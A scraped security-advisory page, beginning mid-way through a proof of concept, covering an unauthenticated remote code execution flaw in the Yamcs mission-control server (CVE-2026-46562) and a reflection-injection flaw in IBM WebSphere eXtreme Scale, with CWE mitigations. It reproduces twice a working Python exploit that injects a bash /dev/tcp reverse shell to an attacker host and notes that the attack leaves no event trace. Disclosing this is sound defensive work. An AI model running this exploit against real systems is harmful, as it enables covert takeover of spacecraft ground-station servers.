ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"

# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
    '} '
    'Java.type("java.lang.Runtime").getRuntime().exec('
    f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
    'function _x(){'
)

patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"

def http(method, url, body=None):
    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
                                  method=method, headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(req, timeout=10).read()

http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})

nashorn-rce-poc

The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.

Impact

Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.

For a Yamcs deployment managing spacecraft operations, an attacker can: - forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission; - read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration); - pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services); - install a persistent backdoor via the same primitive.

Who is impacted: - All Yamcs deployments running in the default configuration (no security.yaml present): any unauthenticated network attacker that can reach the HTTP API port (default 8090). - Yamcs deployments with security enabled: any user that has been granted the ChangeMissionDatabase system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.

Affected Versions

All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.

  • First vulnerable release: yamcs-4.7.3 (2018-11-22). Introduced in commit 951e505d18a3912813b59edc685cbcbd4c609906 ("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added the ChangeAlgorithmRequest RPC (later renamed UpdateAlgorithmRequest) and routed it as PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}.
  • Routing change at yamcs-5.5.0 (2021-04): the endpoint was split out of MdbApi into MdbOverrideApi and moved to PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlying scriptEngine.eval(...) sink and the missing ClassFilter are identical.
  • Latest release: yamcs-5.12.6 (commit f1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java, AlgorithmManager.java, ScriptAlgorithmExecutorFactory.java, SecurityStore.java) are unchanged between 5.12.6 and current master (96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.

In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46562"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T22:45:49Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Remote Code Execution via Mission Database algorithm override\n\n## Summary\n\nThe Nashorn `ScriptEngine` used to evaluate user-supplied algorithm text in `MdbOverrideApi.updateAlgorithm` is constructed without a `ClassFilter`, allowing a user with the `ChangeMissionDatabase` privilege to execute arbitrary Java code on the Yamcs server. In Yamcs\u0027s default configuration (no `security.yaml`), the built-in `guest` user has `superuser=true`, so the vulnerability is reachable without authentication.\n\n## Details\n\n**Vulnerable file**: `yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java`\n\n```java\n// L46-53  Nashorn engine obtained without a ClassFilter\nScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()\n        .filter(candidate -\u003e !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())\n                \u0026\u0026 candidate.getNames().contains(language))\n        .findFirst().orElse(null);\nif (factory != null) {\n    scriptEngine = factory.getScriptEngine();          // \u2190 ClassFilter not supplied\n}\n\n// L109  user-supplied algorithm text reaches eval()\nscriptEngine.eval(functionScript);\n```\n\n`NashornScriptEngineFactory.getScriptEngine()` accepts an optional `ClassFilter` that restricts which classes JavaScript can reach via `Java.type(...)`. Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class \u2014 for example, `Java.type(\"java.lang.Runtime\").getRuntime().exec(...)` runs arbitrary OS commands inside the Yamcs JVM.\n\nThe path from HTTP request to `eval` is:\n`MdbOverrideApi.updateAlgorithm` (`yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189`)\n\u2192 `AlgorithmManager.overrideAlgorithm` (`yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559`)\n\u2192 `ScriptAlgorithmExecutorFactory.makeExecutor` (`yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117`)\n\u2192 `scriptEngine.eval(...)`.\n\n## PoC\n\nRun against any reachable Yamcs deployment that has at least one JavaScript `CustomAlgorithm` in its MDB (the `simulator` example MDB includes several, such as `/YSS/SIMULATOR/Battery_Voltage_Avg`).\n\nAttacker-side listener:\n```\nnc -lvnp 4444\n```\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nUsage: python3 \u003cpoc\u003e.py http://target:8090 LHOST LPORT\n\"\"\"\nimport json, sys, time, urllib.request\n\nTARGET    = sys.argv[1].rstrip(\"/\")\nLHOST     = sys.argv[2]\nLPORT     = int(sys.argv[3])\nINSTANCE  = \"simulator\"\nPROCESSOR = \"realtime\"\nALGORITHM = \"YSS/SIMULATOR/Battery_Voltage_Avg\"\n\n# Close the generated wrapper function with `}`, execute the payload at\n# top level, then re-open a dummy function so the trailing `}` emitted\n# by ScriptAlgorithmExecutorFactory parses. No throw -\u003e no event fired.\npayload = (\n    \u0027} \u0027\n    \u0027Java.type(\"java.lang.Runtime\").getRuntime().exec(\u0027\n    f\u0027[\"bash\",\"-c\",\"exec 3\u003c\u003e/dev/tcp/{LHOST}/{LPORT}; id \u003e\u00263; sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\"]); \u0027\n    \u0027function _x(){\u0027\n)\n\npatch = f\"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}\"\n\ndef http(method, url, body=None):\n    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,\n                                  method=method, headers={\"Content-Type\": \"application/json\"})\n    return urllib.request.urlopen(req, timeout=10).read()\n\nhttp(\"PATCH\", patch, {\"action\": \"SET\", \"algorithm\": {\"text\": payload}})\ntime.sleep(2)\nhttp(\"PATCH\", patch, {\"action\": \"RESET\"})\n```\n\n\u003cimg width=\"1841\" height=\"881\" alt=\"nashorn-rce-poc\" src=\"https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671\" /\u003e\u003cbr\u003e\n\nThe override path emits events only when evaluation fails: a `WARNING` from `ScriptAlgorithmExecutorFactory.java:112` and a `CRITICAL` from `AlgorithmManager.java:546`. Any syntactically valid payload \u2014 like the one above \u2014 succeeds silently and **no event is fired**, so the attack leaves no trace in the Yamcs event stream.\n\n## Impact\nArbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.\n\nFor a Yamcs deployment managing spacecraft operations, an attacker can:\n- forge or block telecommands, suppress alarms, and tamper with the telemetry archive \u2014 disrupting or seizing control of the mission;\n- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);\n- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);\n- install a persistent backdoor via the same primitive.\n\nWho is impacted:\n- **All Yamcs deployments running in the default configuration** (no `security.yaml` present): any unauthenticated network attacker that can reach the HTTP API port (default `8090`).\n- **Yamcs deployments with security enabled**: any user that has been granted the `ChangeMissionDatabase` system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.\n\n## Affected Versions\n\nAll Yamcs releases that ship the algorithm override endpoint are affected \u2014 no `ClassFilter` has ever been applied to the script engine.\n\n- **First vulnerable release**: `yamcs-4.7.3` (2018-11-22). Introduced in commit `951e505d18a3912813b59edc685cbcbd4c609906` (\"added possibility to change in a running processor alarms, calibrations and algorithms texts\"). The commit added the `ChangeAlgorithmRequest` RPC (later renamed `UpdateAlgorithmRequest`) and routed it as `PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}`.\n- **Routing change at `yamcs-5.5.0`** (2021-04): the endpoint was split out of `MdbApi` into `MdbOverrideApi` and moved to `PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}`. The underlying `scriptEngine.eval(...)` sink and the missing `ClassFilter` are identical.\n- **Latest release**: `yamcs-5.12.6` (commit `f1a26fe54587fab9960d7e53fc1bf0c879220e9e`) is affected. These four files (`MdbOverrideApi.java`, `AlgorithmManager.java`, `ScriptAlgorithmExecutorFactory.java`, `SecurityStore.java`) are unchanged between `5.12.6` and current `master` (`96d3e2d474415bea859f40ecbddc1bb8a0d141c1`) \u2014 no upstream fix exists.\n\nIn short: **every Yamcs release from `4.7.3` through `5.12.6`, plus current `master`, is vulnerable** (133 release tags spanning 2018-11-22 to present).",
  "id": "GHSA-vmwp-vh32-rj75",
  "modified": "2026-05-27T22:45:49Z",
  "published": "2026-05-27T22:45:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override"
}

GHSA-W6X5-7FJJ-V49P

Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31
VLAI
Details

IBM WebSphere Extreme Scale 8.6.1.0 through 8.6.1.6 's Object Query Language engine resolves attacker-supplied class names via Class.forName() and invokes their constructors with no allow-list at three distinct sinks (SELECT NEW, enum literals, and reflection-based comparators); an authenticated remote attacker who can influence an application-built OQL query string can execute arbitrary constructors on the WAS JVM, and a SELECT DISTINCT variant using planted grid values fires the same gadget post-readObject in a manner that survives JEP-290 serialization filters across grid node boundaries

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-13772"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T20:17:29Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere Extreme Scale 8.6.1.0 through 8.6.1.6 \u0027s Object Query Language engine resolves attacker-supplied class names via Class.forName() and invokes their constructors with no allow-list at three distinct sinks (SELECT NEW, enum literals, and reflection-based comparators); an authenticated remote attacker who can influence an application-built OQL query string can execute arbitrary constructors on the WAS JVM, and a SELECT DISTINCT variant using planted grid values fires the same gadget post-readObject in a manner that survives JEP-290 serialization filters across grid node boundaries",
  "id": "GHSA-w6x5-7fjj-v49p",
  "modified": "2026-06-30T21:31:44Z",
  "published": "2026-06-30T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13772"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7278593"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Refactor your code to avoid using reflection.

Mitigation
Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Mitigation
Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

CAPEC-138: Reflection Injection

An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application.

← Back to the CWE list